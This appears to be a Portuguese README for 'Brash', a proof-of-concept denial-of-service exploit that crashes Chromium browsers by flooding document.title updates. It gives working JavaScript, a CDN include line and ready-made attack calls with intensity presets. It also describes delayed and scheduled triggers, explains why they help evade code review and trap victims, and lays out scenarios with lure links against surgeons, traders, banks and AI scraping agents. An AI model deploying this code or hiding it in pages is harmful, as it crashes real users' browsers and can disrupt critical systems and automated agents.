
Ataque DoS no Navegador Chromium via Exploração de document.title

Brash é uma vulnerabilidade crítica no Blink, o motor de renderização que alimenta os navegadores baseados em Chromium do Google. Ela permite que qualquer navegador Chromium colapse em 15-60 segundos ao explorar uma falha arquitetural na forma como certas operações do DOM são gerenciadas.
O vetor de ataque origina-se da ausência completa de limitação de taxa nas atualizações da API document.title. Isso permite injetar milhões de mutações no DOM por segundo e, durante essa tentativa de injeção, satura a thread principal, interrompendo o loop de eventos e causando o colapso da interface. O impacto é significativo: consome alto recurso de CPU, degrada o desempenho geral do sistema e pode interromper ou desacelerar outros processos em execução simultânea. Ao afetar navegadores Chromium em desktop, Android e ambientes incorporados, essa vulnerabilidade expõe mais de 3 bilhões de pessoas na internet a uma negação de serviço a nível de sistema.
STATUS: Operacional
VERSÕES AFETADAS: Chromium ≤ 143.0.7483.0 (testado: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!NOTE] O exploit está atualmente operacional. Uma vez que a vulnerabilidade seja corrigida, este código deixará de funcionar. Independentemente disso, descobrir essa falha arquitetural e completar todo o processo de pesquisa, documentação e design para compartilhar algo impactante com o mundo tem sido uma jornada incrivelmente gratificante.
11 navegadores principais foram testados no macOS, Windows e Linux para validar o impacto da vulnerabilidade.
Todos os navegadores baseados em Chromium são vulneráveis porque a falha existe no núcleo do motor de renderização Blink:
Brash explora uma falha arquitetural fundamental no motor de renderização Blink: a ausência de limitação (throttling) nas atualizações de document.title. O ataque opera em três fases críticas:
Gera 100 strings hexadecimais únicas de 512 caracteres e as armazena na memória antes de iniciar o ataque.
Por que pré-carregá-las em vez de gerá-las em tempo real?
Porque gerar constantemente novas strings consome tempo de CPU em operações matemáticas. Esse tempo é crítico — cada milissegundo gasto gerando strings é tempo NÃO utilizado para bombardear o navegador com atualizações de document.title.
Ao ter 100 strings já carregadas na memória:
Como resultado, alcançamos velocidade máxima de injeção com consumo máximo de memória por atualização.
// Gera IDs únicos de alta entropia
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
Executa rajadas configuráveis de atualizações de título. Com a configuração padrão (burst: 8000, interval: 1ms), tenta injetar aproximadamente 24 milhões de atualizações por segundo, e é durante essa tentativa que o colapso do navegador começa.
// Padrão de atualização tripla: maximiza o thrashing no pipeline de renderização
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // Cada rajada executa 3 atualizações sequenciais
}
this.counter += 0x3;
}
As atualizações contínuas saturam a thread principal do navegador, impedindo o processamento de outros eventos:
Linha do tempo do colapso:
Por que funciona?
O Blink processa cada mudança de document.title de forma síncrona na thread principal, sem limitação de taxa. Isso cria um gargalo que:
Para entender completamente o impacto do Brash, você pode experimentar o exploit em diferentes contextos, desde uma demonstração ao vivo controlada até sua própria implementação. Cada opção é projetada para diferentes níveis de interação e entendimento técnico.
A maneira mais rápida de ver o Brash em ação. Visite https://brash.run
Para ver o exploit sem interface gráfica, visite https://brash.run/hidden-live-demo.html. Esta versão executa a injeção de forma invisível, simulando um ataque real.
Se preferir executar a demonstração em seu próprio ambiente, o diretório exploit-demo/ incluído no repositório permite que você:
Basta abrir exploit-demo/index.html em qualquer navegador Chromium e configurar os valores de burst e interval antes de iniciar.
Para integrar o Brash em seus próprios testes de segurança ou pesquisa, inclua o script e configure o ataque:
Inclua o script:
<!-- Local -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
Uso da API:
// 1. Ataque imediato
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. Atraso em segundos (padrão)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 segundos
});
// 3. Atraso com strings
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // ou "5000ms" ou "3m"
});
// 4. Ataque programado
Brash.run({
burstSize: 8000,
interval: 1,
scheduled: "2025-10-18T09:30:00"
});
Configurações de intensidade:
// Moderado: observação controlada
// Efeito: O navegador responde lentamente e permite observar a degradação gradual
Brash.run({
burstSize: 200,
interval: 1000 // ~600 atualizações/seg
});
// Agressivo: saturação rápida
// Efeito: Abas congelam em 10-20 segundos
Brash.run({
burstSize: 2000,
interval: 100 // ~60.000 atualizações/seg
});
// Extremo: colapso instantâneo
// Efeito: Congelamento imediato, travamento total em 15-30 segundos
Brash.run({
burstSize: 8000,
interval: 1 // Tenta ~24M atualizações/seg (o navegador colapsa durante a tentativa)
});
Nota: Cada rajada executa 3 atualizações sequenciais de
document.title. Por exemplo, burstSize: 400 = 1.200 atualizações reais por intervalo.
Brash pode ser armado em múltiplos contextos críticos, com consequências que vão desde perdas econômicas até risco de vida humana.
Uma característica crítica que amplifica o perigo do Brash é sua capacidade de ser programado para executar em momentos específicos. Um atacante pode injetar o código com um gatilho temporal, permanecendo dormente até um horário exato predeterminado.
Implementação técnica:
// Atraso em segundos (padrão)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });
// Atraso com strings (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });
// Programado: executa no momento exato
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });
Parâmetros:
burstSize: Atualizações por ciclointerval: Milissegundos entre ciclosdelay: Número (segundos) ou string ("30s", "5000ms", "3m")scheduled: String ISO ou objeto DatePor que o parâmetro delay é especialmente letal:
Não requer saber quando a vítima abrirá o link: Simplesmente espera X segundos a partir do momento em que a vítima abre a página.
Tempo para estabelecer confiança: Durante os minutos de espera, a vítima interage com conteúdo aparentemente legítimo (formulários, documentos, vídeos).
Evasão da inspeção inicial: Se alguém revisar rapidamente o código, ele parece inativo. O ataque não executa até mais tarde.
Timing psicológico perfeito: Espera até que a vítima esteja profundamente envolvida na tarefa (meio de exame, meio de reunião, durante procedimento crítico).
Cenário típico com delay:
00:00 - Vítima abre o link "Q4 Documents.pdf"
00:30 - Vítima revisa documentos, parece legítimo
02:00 - Vítima compartilha tela em reunião com 50 pessoas
03:00 - ATAQUE EXECUTA - todos os navegadores colapsam
Por que o parâmetro scheduled também é devastador:
Sincronização cirúrgica: O atacante escolhe o momento exato de máximo impacto (abertura do mercado, horário de pico de operações).
Ataques coordenados globais: Múltiplos alvos podem ser atingidos simultaneamente no mesmo segundo.
Evasão de detecção prévia: O código malicioso pode estar presente dias ou semanas antes sem executar, passando por revisões de segurança.
Impossível de parar: Quando o ataque executa, já é tarde demais para preveni-lo.
Exemplos de timing estratégico:
Essa capacidade de timing cinético transforma o Brash de uma ferramenta de interrupção em uma arma de precisão temporal, onde o atacante controla não apenas o "o quê" e "onde", mas também o "quando" com precisão de milissegundos.
Cenário: Sistemas empresariais que dependem de agentes de IA para raspagem web, análise de mercado, monitoramento de concorrentes ou automação de suporte ao cliente usam navegadores headless (Chromium/Puppeteer) para consultar milhares de sites diariamente. Um atacante injeta o Brash em sites populares que esses agentes consultam.
Durante operações automatizadas críticas:
Vetores de ataque amplificados:
Impacto real: Paralisia de operações automatizadas críticas, perdas econômicas por decisões não tomadas, degradação massiva de serviços dependentes de IA, custos de recuperação de infraestrutura, exposição da dependência crítica de agentes automatizados.
Cenário: Um cirurgião cardiovascular está realizando uma cirurgia de ponte de safena assistida por um sistema de navegação cirúrgica baseado na web (cada vez mais comum em cirurgias minimamente invasivas). O sistema fornece imagens em tempo real, métricas vitais do paciente e orientação para instrumentos robóticos.
Durante a fase mais crítica da operação, uma notificação do navegador aparece: "ALERTA: Atualização crítica do sistema cirúrgico - Aplique agora ou a operação pode falhar."
Ao clicar em pânico:
Impacto real: Risco direto de morte do paciente, potencial para danos permanentes, trauma psicológico para a equipe médica, processos milionários por negligência tecnológica.
Cenário: Durante a abertura do mercado de Wall Street, um ator malicioso injeta o Brash em múltiplos canais simultaneamente: interface web do Bloomberg Terminal, chat de traders institucionais e fóruns especializados. O link promete "Vazamento: Transcrição da reunião de emergência do Fed - Corte de taxa confirmado."
Nos primeiros 30 segundos de negociação (máxima liquidez):
Impacto real: Trilhões de dólares em perdas de capitalização de mercado, pânico financeiro global, investigações da SEC, potencial crise de confiança nos mercados.
Cenário: Analistas de fraude de um banco processam alertas de transações suspeitas em tempo real através de um painel web. Durante a Black Friday (pico de transações), eles recebem o Brash via e-mail corporativo: "Novo padrão de fraude detectado - análise urgente necessária."
No momento de maior volume transacional:
Impacto real: Milhões de dólares em perdas diretas, milhares de clientes com cobranças fraudulentas, dano reputacional massivo, multas regulatórias por falhas no sistema de prevenção.
Esses cenários não são teóricos. A simplicidade do Brash o torna uma ameaça real para qualquer operação que dependa de navegadores web, o que em 2025 significa praticamente tudo.
A criação do Brash é um esforço para demonstrar o que acontece quando proteções básicas estão ausentes nas tecnologias web que usamos diariamente. A vulnerabilidade não reside em código complexo ou técnicas avançadas, mas na falta fundamental de limitação de taxa em uma API que deveria ser limitada por design.
O impacto do Brash em mais de 3 bilhões de usuários de navegadores Chromium demonstra que falhas arquiteturais em componentes centrais como o Blink têm consequências massivas e globais. Isso não é um bug isolado — é uma falha de design que afeta todo o ecossistema Chromium.
Muitas vezes, as coisas mais perigosas se escondem no lugar menos esperado, o mais ignorado. - Jose Pino
Este PoC destina-se exclusivamente a fins educacionais e de pesquisa em segurança, para ajudar a tornar a internet um lugar mais seguro. Sua execução deve ser realizada exclusivamente em ambientes controlados, e não deve ser usada em sistemas de produção, sites públicos ou dispositivos contendo dados importantes.
O uso indevido deste exploit pode resultar em travamentos do navegador, perda de dados e instabilidade do sistema. O autor não se responsabiliza por quaisquer danos, perda de dados ou consequências legais decorrentes do uso ou uso indevido deste PoC. Ao usar o Brash, você reconhece que compreende esses riscos e concorda em usá-lo apenas para pesquisas legítimas de segurança em ambientes isolados.
Espera-se que os usuários cumpram todas as leis e regulamentos aplicáveis. O uso não autorizado deste exploit contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal e antiético.
O conteúdo deste projeto em si é licenciado sob a licença Creative Commons Attribution 3.0, e o código-fonte subjacente usado para formatar e exibir esse conteúdo é licenciado sob a licença MIT.
Copyright (c) 2025 por Jose Pino